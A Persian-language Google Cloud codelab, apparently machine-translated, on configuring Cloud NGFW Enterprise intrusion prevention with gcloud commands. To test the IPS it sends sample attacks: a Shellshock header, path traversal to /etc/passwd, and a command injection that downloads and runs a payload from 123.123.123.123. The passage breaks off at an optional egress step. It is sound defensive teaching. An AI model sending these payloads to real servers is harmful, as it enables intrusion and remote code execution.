1. مقدمه
فایروال نسل بعدی ابر (NGFW)
فایروال Cloud Next Generation یک سرویس فایروال کاملاً توزیع شده با قابلیت های حفاظتی پیشرفته، تقسیم بندی میکرو و پوشش فراگیر برای محافظت از بار کاری Google Cloud شما در برابر حملات داخلی و خارجی است.
Cloud NGFW دارای مزایای زیر است:
- سرویس فایروال توزیع شده: Cloud NGFW اجرای حالتی و کاملاً توزیع شده مبتنی بر میزبان را در هر بار کاری برای فعال کردن معماری امنیتی بدون اعتماد ارائه می کند.
- پیکربندی و استقرار ساده شده: Cloud NGFW سیاست های شبکه و دیوار آتش سلسله مراتبی را پیاده سازی می کند که می تواند به یک گره سلسله مراتبی منبع متصل شود. این خطمشیها یک تجربه فایروال منسجم را در سراسر سلسله مراتب منابع Google Cloud ارائه میکنند.
- کنترل دانهبندی و تقسیمبندی خرد: ترکیبی از خطمشیهای فایروال و برچسبهای مدیریت هویت و دسترسی (IAM) کنترل خوبی را برای ترافیک شمال-جنوب و شرق-غرب، تا یک VM، در سراسر ابر خصوصی مجازی (VPC) فراهم میکند. شبکه ها و سازمان ها
Cloud NGFW در سطوح زیر موجود است:
- Cloud Generation Next Firewall Essentials
- استاندارد فایروال نسل بعدی ابر
- Cloud نسل بعدی فایروال Enterprise
Cloud NGFW Enterprise
Cloud NGFW Enterprise سرویس پیشگیری از نفوذ (IPS) ، یک قابلیت لایه 7 را به پارچه Google Cloud Firewall توزیع شده اضافه می کند. بازرسی TLS برای اجازه بازرسی برای ترافیک رمزگذاریشده TLS پشتیبانی میشود، اما خارج از محدوده این کد آزمایشگاه است (به Cloud NGFW Enterprise Codelab با بازرسی TLS مراجعه کنید).
اکنون میتوانید بازرسیهای قابل اعتماد لایه 7 نسل بعدی فایروال (NGFW) را با کنترلهای دانهای، بدون ایجاد هیچ تغییری در معماری شبکه یا پیکربندیهای مسیریابی، اجرا کنید.
برای فعال کردن و استقرار کنترل دیوار آتش لایه 7 با IPS، باید کارهای زیر را انجام دهید:
- مجموعه ای از نقاط پایانی فایروال منطقه ای مدیریت شده Google Cloud ایجاد کنید.
- به صورت اختیاری یک خط مشی بازرسی TLS ایجاد کنید (که در این نسخه کد پوشش داده نمی شود)
- به صورت اختیاری یک Trust Config ایجاد کنید (در این نسخه کد پوشش داده نشده است)
- این نقاط پایانی را با شبکههای Virtual Private Cloud (VPC) که در آن به سرویس Cloud NGFW Enterprise نیاز دارید، مرتبط کنید.
- برای تعیین نمایه های پیشگیری از تهدید برای مسیرهای مختلف ترافیک، تغییرات ساده ای در سیاست های فایروال موجود و قوانین فایروال خود ایجاد کنید.
سیاست های فایروال شبکه
خط مشی فایروال شبکه به عنوان محفظه ای برای قوانین فایروال عمل می کند. قوانین تعریف شده در یک خط مشی فایروال شبکه تا زمانی که این خط مشی با شبکه VPC مرتبط نشود، در هیچ کجا اجرا نمی شوند. هر شبکه VPC می تواند یک خط مشی فایروال شبکه مرتبط با خود داشته باشد. خطمشیهای فایروال شبکه از برچسبهای تحت کنترل IAM (یا فقط برچسبها) در قوانین فایروال پشتیبانی میکنند، که جایگزین برچسبهای شبکه فعلی میشوند و میتوانند برای ارائه هویت به حجم کار استفاده شوند.
به اشتراک گذاری یک خط مشی فایروال شبکه در بین شبکه ها و ادغام با برچسب های تحت کنترل IAM، پیکربندی و مدیریت فایروال ها را بسیار ساده می کند.
با معرفی خط مشی فایروال شبکه، خط مشی های فایروال Google Cloud اکنون از اجزای زیر تشکیل شده است:
- خط مشی فایروال سلسله مراتبی
- قوانین فایروال VPC
- خط مشی فایروال شبکه ( جهانی و منطقه ای )
خطمشیهای فایروال سلسله مراتبی در سازمان و گرههای پوشه در سلسله مراتب منابع پشتیبانی میشوند، در حالی که قوانین فایروال VPC و سیاستهای فایروال شبکه در سطح VPC اعمال میشوند. یک تفاوت بزرگ بین قوانین فایروال VPC و سیاست های فایروال شبکه این است که قوانین فایروال VPC را می توان تنها برای یک شبکه VPC اعمال کرد، در حالی که سیاست های فایروال شبکه می تواند به یک VPC یا گروهی از VPC ها متصل شود، از جمله مزایای دیگر مانند به روز رسانی دسته ای.
در نهایت، ما قوانین فایروال ضمنی را نیز داریم که با هر شبکه VPC همراه است:
- یک قانون خروج که عمل آن مجاز است، مقصد 0.0.0.0/0 است
- یک قانون ورود که عمل آن رد می شود، منبع 0.0.0.0/0 است
به طور پیش فرض، دنباله اجرا در نمودار زیر نشان داده شده است:
لطفاً توجه داشته باشید که دستور اجرایی بین قوانین فایروال VPC و خط مشی فایروال شبکه جهانی قابل تعویض است. مشتریان می توانند در هر زمان با دستور gcloud دستور اجرایی را مشخص کنند.
برچسب ها تحت کنترل IAM
برچسبهای جدید یکپارچه شده در قوانین خطمشی فایروال شبکه، منابع جفت کلید-مقدار هستند که در سطح سازمان یا پروژه سلسله مراتب منابع Google Cloud تعریف شدهاند. چنین برچسبی همانطور که از نامش پیداست شامل یک کنترل دسترسی IAM است که مشخص میکند چه کسی میتواند چه کاری را روی برچسب انجام دهد. به عنوان مثال، مجوزهای IAM به شخص اجازه می دهد تا مشخص کند که چه اصولی می توانند مقادیری را به برچسب ها اختصاص دهند و چه مدیرانی می توانند برچسب ها را به منابع متصل کنند. هنگامی که یک برچسب بر روی یک منبع اعمال شد، قوانین فایروال شبکه می توانند از آن برای اجازه و رد ترافیک استفاده کنند.
برچسبها به مدل منابع ارثی Google Cloud پایبند هستند، به این معنی که برچسبها و مقادیر آنها در سراسر سلسله مراتب از والدینشان منتقل میشوند. در نتیجه، برچسب ها ممکن است در یک مکان ایجاد شوند و سپس توسط پوشه ها و پروژه های دیگر در سراسر سلسله مراتب منابع استفاده شوند. برای جزئیات بیشتر در مورد برچسب ها و محدودیت دسترسی به این صفحه مراجعه کنید.
برچسب ها را نباید با برچسب های شبکه اشتباه گرفت. دومی رشته هایی هستند که می توانند به نمونه های Compute Engine اضافه شوند. آنها با نمونه مرتبط می شوند و زمانی که نمونه از کار افتاده ناپدید می شوند. قوانین فایروال VPC ممکن است شامل برچسب های شبکه باشد، اما از آنجایی که آنها به عنوان منابع ابری در نظر گرفته نمی شوند، تحت کنترل دسترسی IAM نیستند.
توجه داشته باشید که برچسبها و برچسبهای تحت کنترل IAM به جای یکدیگر در این سند استفاده میشوند.
چیزی که خواهی ساخت
این آزمایشگاه کد به یک پروژه واحد و توانایی ایجاد یک شبکه VPC با اتصال عمومی نیاز دارد و نشان میدهد که چگونه Cloud NGFW Enterprise میتواند عملکرد IPS را با موارد زیر ارائه دهد:
- بازرسی جریان های درون VPC/زیر شبکه [شرق-غرب]
- بازرسی جریان های ورودی از اینترنت [شمال-جنوب]
جریان هایی که باید بازرسی شوند با استفاده از پارامترهای تطبیق فایروال ابری از جمله 5 تایی (IP مبدا، IP مقصد، پروتکل، پورت مبدا، پورت مقصد) و برچسب ها انتخاب می شوند. بازرسی TLS در این آزمایشگاه کد گنجانده نشده است.
پایگاه قانون خط مشی فایروال شبکه مشابه جدول زیر خواهد بود:
اولویت | جهت | هدف | منبع | مقصد | اقدام | تایپ کنید |
100 | خروج | قرنطینه_تگ | هر | هر | تکذیب کنید | ملزومات |
1000 | ورود | Server_Tag | محدوده های بررسی سلامت | هر | اجازه دهید | ملزومات |
2000 | ورود | هر | محدوده های پروکسی آگاه از هویت | هر | اجازه دهید | ملزومات |
3000 | ورود | هر | Geo، GCTI | هر | تکذیب کنید | استاندارد |
4000 | خروج | هر | هر | Geo، GCTI | تکذیب کنید | استاندارد |
5000 | خروج | هر | هر | FQDN های به روز رسانی سیستم | اجازه دهید | استاندارد |
6000 | ورود | Server_Tag | 10.0.0.0/24 | هر | IPS | تصدی |
7000 | ورود | Server_Tag | CloudNAT_IP | هر | IPS | تصدی |
چیزی که یاد خواهید گرفت
- نحوه ایجاد یک خط مشی فایروال شبکه جهانی
- نحوه ایجاد و استفاده از برچسب ها با خط مشی فایروال شبکه
- نحوه پیکربندی و استفاده از Cloud NGFW Enterprise Intrusion Prevention Service
آنچه شما نیاز دارید
- پروژه Google Cloud
- دانش استقرار نمونه ها و پیکربندی اجزای شبکه
- دانش پیکربندی فایروال VPC
2. قبل از شروع
ایجاد/به روز رسانی متغیرها
این کد لبه از متغیرهای $ برای کمک به پیاده سازی پیکربندی gcloud در Cloud Shell استفاده می کند.
در Cloud Shell، دستورات زیر را اجرا کنید و اطلاعات درون پرانتز را در صورت نیاز جایگزین کنید (اگر پروژه مورد نظر قبلا تنظیم شده است، از تنظیم پروژه صرفنظر کنید). اگر چندین نقطه پایانی فایروال مورد نیاز باشد، برای منابع در سطح سازمان از متغیر دیگری استفاده می شود.
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zone=[zone] export prefix=cloudngfw export org_prefix=cloudngfw export billing_project_id=[project-id]
3. API ها را فعال کنید
اگر این کار را نکرده اید، API ها را فعال کنید:
gcloud services enable compute.googleapis.com gcloud services enable networksecurity.googleapis.com gcloud services enable certificatemanager.googleapis.com gcloud services enable networkservices.googleapis.com gcloud services enable privateca.googleapis.com
4. نمایه امنیتی سازمانی Cloud NGFW و ایجاد نقطه پایانی
از آنجایی که ایجاد نقطه پایانی Cloud NGFW Enterprise حدود 20 دقیقه طول میکشد، ابتدا ایجاد میشود و هنگام ایجاد نقطه پایانی، میتوان پایه را به صورت موازی انجام داد.
ایجاد نمایه امنیتی و گروه نمایه امنیتی:
gcloud network-security security-profiles threat-prevention \ create $org_prefix-sp-threat \ --organization $org_id \ --location=global gcloud network-security security-profile-groups create \ $org_prefix-spg \ --organization $org_id \ --location=global \ --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat
خروجی مورد انتظار:
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done. Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com plete...done. Created security profile group [$org_prefix-spg].
تأیید کنید که منابع با موفقیت ایجاد شده اند:
gcloud network-security security-profiles threat-prevention \ list --location=global --organization $org_id gcloud network-security security-profile-groups list \ --organization $org_id --location=global
خروجی مورد انتظار:
NAME: cloudngfw-sp-threat NAME: cloudngfw-spg
نقطه پایانی Cloud NGFW Enterprise را ایجاد کنید:
gcloud network-security firewall-endpoints create $org_prefix-$zone \ --zone=$zone --organization $org_id \ --billing-project $billing_project_id
دستور زیر را اجرا کنید تا تأیید کنید که نقطه پایانی در حال ایجاد است (STATE: CREATING ).
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
خروجی مورد انتظار (توجه داشته باشید که فرمت خروجی ممکن است بسته به مشتری مورد استفاده متفاوت باشد):
ID: cloudngfw-[zone] LOCATION: [zone] STATE: CREATING
در صورت تمایل، دستور زیر را برای دریافت جزئیات بیشتر اجرا کنید:
gcloud network-security firewall-endpoints describe \ $org_prefix-$zone --organization $org_id --zone $zone
خروجی مورد انتظار:
createTime: '2023-04-25T18:08:45.493499362Z' name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] state: CREATING updateTime: '2023-04-25T18:08:45.493499362Z'
فرآیند ایجاد نقطه پایانی حدود 20 دقیقه طول می کشد. برای ایجاد منابع مورد نیاز به صورت موازی به قسمت Base Setup بروید.
5. راه اندازی پایه
اگر ترجیح می دهید منابع پایه را به صورت دستی ایجاد کنید، به بخش های زیر بروید.
شبکه VPC و زیرشبکه
شبکه و زیرشبکه VPC
شبکه و زیر شبکه VPC را ایجاد کنید:
gcloud compute networks create $prefix-vpc --subnet-mode=custom gcloud compute networks subnets create $prefix-$region-subnet \ --range=10.0.0.0/24 --network=$prefix-vpc --region=$region
Cloud NAT
مسیریابهای ابری و دروازههای Cloud NAT را ایجاد کنید:
gcloud compute addresses create $prefix-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)") gcloud compute routers create $prefix-cr \ --region=$region --network=$prefix-vpc gcloud compute routers nats create $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=$prefix-$region-cloudnatip
من موارد
نمونه های سرویس گیرنده و وب سرور را ایجاد کنید:
gcloud compute instances create $prefix-$zone-www \ --subnet=$prefix-$region-subnet --no-address --zone $zone \ --metadata startup-script='#! /bin/bash apt-get update apt-get install apache2 tcpdump iperf3 -y a2ensite default-ssl a2enmod ssl # Read VM network configuration: md_vm="http://169.254.169.254/computeMetadata/v1/instance/" vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )" filter="{print \$NF}" vm_network="$(curl $md_vm/network-interfaces/0/network \ -H "Metadata-Flavor:Google" | awk -F/ "${filter}")" vm_zone="$(curl $md_vm/zone \ -H "Metadata-Flavor:Google" | awk -F/ "${filter}")" # Apache configuration: echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \ tee /var/www/html/index.html systemctl restart apache2' gcloud compute instances create $prefix-$zone-client \ --subnet=$prefix-$region-subnet --no-address --zone $zone \ --scopes=compute-ro \ --metadata startup-script='#! /bin/bash apt-get update apt-get install apache2-utils iperf3 tcpdump -y'
برچسب های سطح پروژه
در صورت نیاز مجوزهای tagAdmin و/یا tagUser را به کاربر اختصاص دهید:
export user_id=$(gcloud auth list --format="value(account)") gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser
کلید و مقادیر Tag در سطح پروژه را ایجاد کنید:
gcloud resource-manager tags keys create $prefix-vpc-tags \ --parent projects/$project_id \ --purpose GCE_FIREWALL \ --purpose-data network=$project_id/$prefix-vpc gcloud resource-manager tags values create $prefix-vpc-client \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-server \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-quarantine \ --parent=$project_id/$prefix-vpc-tags
پیوند برچسب ها به نمونه ها:
gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client
خط مشی فایروال شبکه جهانی
ایجاد خط مشی فایروال شبکه جهانی:
gcloud compute network-firewall-policies create \ $prefix-fwpolicy --description \ "Cloud NGFW Enterprise" --global
قوانین اساسی Cloud Firewall را برای رد کردن ترافیک از نمونه های قرنطینه شده ایجاد کنید (که فقط به عنوان نمونه ایجاد شده است و در این نسخه کد استفاده نمی شود) و اجازه ترافیک از محدوده های پراکسی بررسی سلامت و هویت آگاه را می دهد:
gcloud compute network-firewall-policies rules create 100 \ --description="block quarantined workloads" \ --action=deny \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=all \ --direction=EGRESS \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \ --dest-ip-ranges=0.0.0.0/0 gcloud compute network-firewall-policies rules create 1000 \ --description="allow http traffic from health-checks ranges" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=INGRESS \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22 gcloud compute network-firewall-policies rules create 2000 \ --description="allow ssh traffic from identity-aware-proxy ranges" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:22 \ --direction=INGRESS \ --src-ip-ranges=35.235.240.0/20
ایجاد قوانین استاندارد Cloud Firewall برای جلوگیری از ورود و خروج ترافیک از/به کشورهای تحریم شده، IP های مخرب شناخته شده و گره های خروج ToR. و فقط اجازه می دهد تا ترافیک خروجی به FQDN های خاص برای به روز رسانی سیستم (که فقط به عنوان نمونه ایجاد شده است، در این کد لبه استفاده نمی شود):
gcloud compute network-firewall-policies rules create 3000 \ --description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \ --action=deny \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=all \ --direction=INGRESS \ --src-region-codes CU,IR,KP,SY,XC,XD \ --src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips gcloud compute network-firewall-policies rules create 4000 \ --description="block egress traffic to sanctioned countries, known malicious IPs and ToR exit nodes" \ --action=deny \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=all \ --direction=EGRESS \ --dest-region-codes CU,IR,KP,SY,XC,XD \ --dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips gcloud compute network-firewall-policies rules create 5000 \ --description "allow system updates" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=EGRESS \ --dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com
قوانین Cloud Firewall را ایجاد کنید تا امکان ورود ترافیک شرقی-غربی / درون زیرشبکه و شمال-جنوب / اینترنت از محدوده های خاص را فراهم کنید (این قوانین برای فعال کردن Cloud NGFW Enterprise به روز می شوند):
gcloud compute network-firewall-policies rules create 6000 \ --description "allow ingress internal traffic from clients" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --direction=INGRESS \ --enable-logging \ --layer4-configs all \ --src-ip-ranges=10.0.0.0/24 \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud compute network-firewall-policies rules create 7000 \ --description "allow ingress external traffic to server" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=INGRESS \ --enable-logging \ --src-ip-ranges=$cloudnatip \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server
خط مشی فایروال شبکه را به شبکه VPC مرتبط کنید:
gcloud compute network-firewall-policies associations create \ --firewall-policy $prefix-fwpolicy \ --network $prefix-vpc \ --name $prefix-fwpolicy-association \ --global-firewall-policy
تعادل بار شبکه TCP/UDP خارجی
یک آدرس IP خارجی رزرو کنید و گروه نمونه و بررسی سلامت را ایجاد کنید:
gcloud compute addresses create $prefix-$region-nlbip --region=$region gcloud compute instance-groups unmanaged create $prefix-ig \ --zone $zone gcloud compute instance-groups unmanaged add-instances $prefix-ig \ --instances $prefix-$zone-www --zone $zone gcloud compute health-checks create http $prefix-$region-hc-http80 \ --region $region --port 80
ایجاد سرویس پشتیبان و قانون حمل و نقل:
gcloud compute backend-services create $prefix-nlb-bes \ --protocol TCP \ --health-checks $prefix-$region-hc-http80 \ --health-checks-region $region \ --region $region gcloud compute backend-services add-backend $prefix-nlb-bes \ --instance-group $prefix-ig \ --instance-group-zone $zone \ --region $region gcloud compute forwarding-rules create $prefix-nlb-ipv4 \ --load-balancing-scheme EXTERNAL \ --region $region \ --ports 80 \ --address $prefix-$region-nlbip \ --backend-service $prefix-nlb-bes
6. Cloud NGFW Enterprise Endpoint Association
در صورت نیاز متغیرهای محیط را دوباره تعریف کنید.
تأیید کنید که ایجاد نقطه پایانی فایروال ابری با موفقیت انجام شده است. فقط زمانی ادامه دهید که حالت به صورت ACTIVE نشان داده شود (در طول ایجاد حالت مورد انتظار در حال ایجاد است):
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
خروجی مورد انتظار (توجه داشته باشید که فرمت خروجی ممکن است بسته به مشتری مورد استفاده متفاوت باشد):
ID: cloudngfw-[zone] LOCATION: [zone] STATE: ACTIVE
در صورت تمایل، دستور زیر را برای دریافت جزئیات بیشتر اجرا کنید:
gcloud network-security firewall-endpoints describe \ $org_prefix-$zone --organization $org_id --zone $zone
خروجی مورد انتظار:
createTime: '2023-04-25T18:08:45.493499362Z' name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] state: ACTIVE updateTime: '2023-04-25T18:29:40.840608100Z'
نقطه پایانی Cloud NGFW Enterprise را به شبکه VPC مرتبط کنید:
gcloud network-security firewall-endpoint-associations create \ $prefix-association --zone $zone \ --network=$prefix-vpc --endpoint $org_prefix-$zone \ --organization $org_id
فرآیند تداعی حدود 10 دقیقه طول می کشد. فقط زمانی ادامه دهید که حالت به صورت ACTIVE نشان داده شود (وضعیت مورد انتظار در طول فرآیند ایجاد در حال ایجاد است):
gcloud network-security firewall-endpoint-associations list
خروجی مورد انتظار:
ID: cloudngfw-association LOCATION: [zone] NETWORK: cloudngfw-vpc ENDPOINT: cloudngfw-[zone] STATE: ACTIVE
در صورت تمایل، دستور زیر را برای دریافت جزئیات بیشتر اجرا کنید:
gcloud network-security firewall-endpoint-associations \ describe $prefix-association --zone $zone
خروجی مورد انتظار:
createTime: '2023-05-01T22:25:06.218544436Z' firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association network: projects/[project-id]/global/networks/cloudngfw-vpc state: ACTIVE updateTime: '2023-05-01T22:33:06.467596536Z'
7. قوانین بازرسی سازمانی Cloud NGFW
یک برگه جدید باز کنید و یک اتصال SSH به VM مشتری از طریق IAP شروع کنید (شما باید دوباره متغیرها را در برگه جدید تعریف کنید):
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
متغیرهای مورد نیاز را در جلسه SSH تعریف کنید و متغیرها را تنظیم کنید (مطمئن شوید که مقادیر صحیح هستند):
export region=[region] export zone=[zone] export prefix=cloudngfw export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)") export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")
هر دو IP را بچرخانید تا تأیید کنید که قابل دسترسی هستند:
curl $target_privateip --max-time 2 curl $target_nlbip --max-time 2
نتیجه مورد انتظار برای هر دو درخواست curl:
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
حملات نمونه را به IP سرور داخلی (ترافیک شرق - غرب / داخل VPC) ارسال کنید. وب سرور باید به همه درخواستها پاسخ دهد و تأیید کند که هیچ بازرسی/پیشگیری L7 وجود ندارد:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3 curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
نمونه حملات را از طریق Cloud NAT (ترافیک ورودی شمال به جنوب) به IP سرور خارجی ارسال کنید و به طور مشابه وب سرور باید به همه درخواست ها پاسخ دهد:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3 curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
نتایج مورد انتظار برای IPهای عمومی و خصوصی:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address> </body></html> <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address> </body></html> Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone] <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address> </body></html>
به Cloud Shell برگردید و قوانین ورودی موجود را برای فعال کردن بازرسی L7 به روز کنید:
gcloud compute network-firewall-policies rules update 6000 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --enable-logging \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg gcloud compute network-firewall-policies rules update 7000 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --enable-logging \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg
در صورت تمایل، قوانین فایروال را شرح دهید تا تأیید کنید که هر دو با موفقیت به روز شده اند:
gcloud compute network-firewall-policies rules describe 6000 \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy
خروجی مورد انتظار:
--- action: apply_security_profile_group description: allow ingress internal traffic from tagged clients direction: INGRESS disabled: false enableLogging: true kind: compute#firewallPolicyRule match: layer4Configs: - ipProtocol: all srcIpRanges: - 10.0.0.0/24 priority: 800 ruleTupleCount: 4 securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg targetSecureTags: - name: tagValues/281484362719839 state: EFFECTIVE
قانون 7000:
gcloud compute network-firewall-policies rules describe 7000 \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy
خروجی مورد انتظار:
--- action: apply_security_profile_group description: allow ingress external traffic to server direction: INGRESS disabled: false enableLogging: true kind: compute#firewallPolicyRule match: layer4Configs: - ipProtocol: tcp ports: - '80' - ipProtocol: tcp ports: - '443' srcIpRanges: - [cloudnat-ip] priority: 900 ruleTupleCount: 6 securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg targetSecureTags: - name: tagValues/281484362719839 state: EFFECTIVE
به VM مشتری برگردید و نمونه حملات را مجدداً به IP سرور داخلی ارسال کنید (بازرسی شرقی-غربی / درون VPC):
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3 curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
حملات نمونه را از طریق Cloud NAT (بازرسی ورودی شمال-جنوب) مجدداً به IP سرور خارجی ارسال کنید:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3 curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
هیچ پاسخی برای اولین حملات مطابق با خروجی مورد انتظار در زیر دریافت نمی شود، که تأیید می کند که حملات با شدت بالا در حال حاضر مسدود شده اند.
curl: (56) Recv failure: Connection reset by peer curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address> </body></html>
برای تأیید گزارشها به Network Security > Threats on Cloud Console بروید (اگر حملات هنوز نمایش داده نشدهاند، ممکن است لازم باشد چند بار بازخوانی کنید).
یکی از حملات را انتخاب کنید و روی "مشاهده گزارش حسابرسی" در سمت راست کلیک کنید (در یک برگه جدید باز کنید تا به راحتی به عقب برگردید). برای نمایش جزئیات، حمله را گسترش دهید:
در صورت تمایل، فیلتر Log Explorer را با عبارت زیر جایگزین کنید:
resource.type="networksecurity.googleapis.com/FirewallEndpoint"
ورودی های گزارش تهدید باید مطابق زیر مشاهده شوند:
بسته های رهگیری شده در Cloud Firewall را می توان با استفاده از فیلتر Log Explorer زیر تأیید کرد (برای اهداف عیب یابی مفید است):
jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"
به بازرسی ترافیک اینترنت (اختیاری) ادامه دهید یا جلسه SSH را ببندید و برای مراحل پاکسازی به فصل بعدی بروید.
[اختیاری] بازرسی ترافیک اینترنت
همانطور که در بخش قبل تأیید شد، جریانهای بررسیشده تا کنون، ترافیک درون زیرشبکه/VPC (شرق-غرب) و ترافیک ورودی از اینترنت (ورودی شمال-جنوب) است. همچنین میتوان Cloud NGFW Enterprise را برای بازرسی کل ترافیک اینترنت (خروجی شمال-جنوب) با ایجاد یک قانون خروج جدید با استفاده از Cloud Shell پیکربندی کرد:
